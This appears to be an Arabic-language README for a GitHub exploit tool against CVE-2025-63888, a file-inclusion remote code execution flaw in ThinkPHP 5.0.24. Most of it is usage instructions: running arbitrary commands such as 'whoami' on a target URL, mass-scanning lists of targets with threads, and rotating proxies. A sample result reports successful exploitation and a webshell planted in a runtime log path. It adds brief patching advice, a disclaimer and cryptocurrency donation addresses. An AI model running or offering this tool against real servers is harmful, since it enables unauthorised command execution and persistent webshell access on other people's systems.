
أداة بحث أمني لكشف واختبار CVE-2025-63888 (ThinkPHP 5.0.24 File Inclusion RCE vulnerability)
أداة بحث أمنية لاكتشاف واختبار الثغرة CVE-2025-63888 في ThinkPHP 5.0.24، والتي تسمح بتنفيذ الأوامر عن بُعد عبر هجمات تضمين الملفات.
هذه الأداة مخصصة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
CVE-2025-63888 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد في ThinkPHP 5.0.24. توجد الثغرة في دالة read الموجودة في thinkphp/library/think/template/driver/File.php، مما يسمح للمهاجمين بتنفيذ أكواد عشوائية من خلال هجمات تضمين الملفات عن طريق التلاعب بمسار القالب في دالة view().
نقاط CVSS: 9.8 (حرجة)
الإصدار المتأثر: ThinkPHP 5.0.24 (إصدار محدد)
الملف المعرض للثغرة: thinkphp/library/think/template/driver/File.php
دالة
read()# Clone the repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x cve_2025_63888_exploit.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_63888_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
يقوم البرنامج النصي بإنشاء ملف JSON بنتائج مفصلة:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view()إذا كنت تستخدم ThinkPHP 5.0.24:
قم بالترقية فوراً:
تنفيذ التحقق من المسار:
view()../, ..)إصلاحات على مستوى الكود:
realpath() لضمان وجود الملفات ضمن الأدلة المسموح بهاpython3 cve_2025_63888_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
المساهمات مرحب بها! لا تتردد في تقديم طلب سحب (Pull Request).
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)إذا واجهت أي مشكلات أو كان لديك اقتراحات، يرجى فتح مشكلة (Issue) على GitHub.
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
إذا وجدت هذه الأداة مفيدة، فيرجى التفكير في منحها نجمة (star) على GitHub!
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلفون غير مسؤولين عن أي استخدام خاطئ أو ضرر ناتج عن هذا البرنامج. المستخدمون مسؤولون عن ضمان حصولهم على التصريح المناسب قبل اختبار أي أنظمة.
إذا وجدت هذه الأداة مفيدة وترغب في دعم المشروع:
بيتكوين (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
إيثريوم (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
شكراً لدعمك! 🙏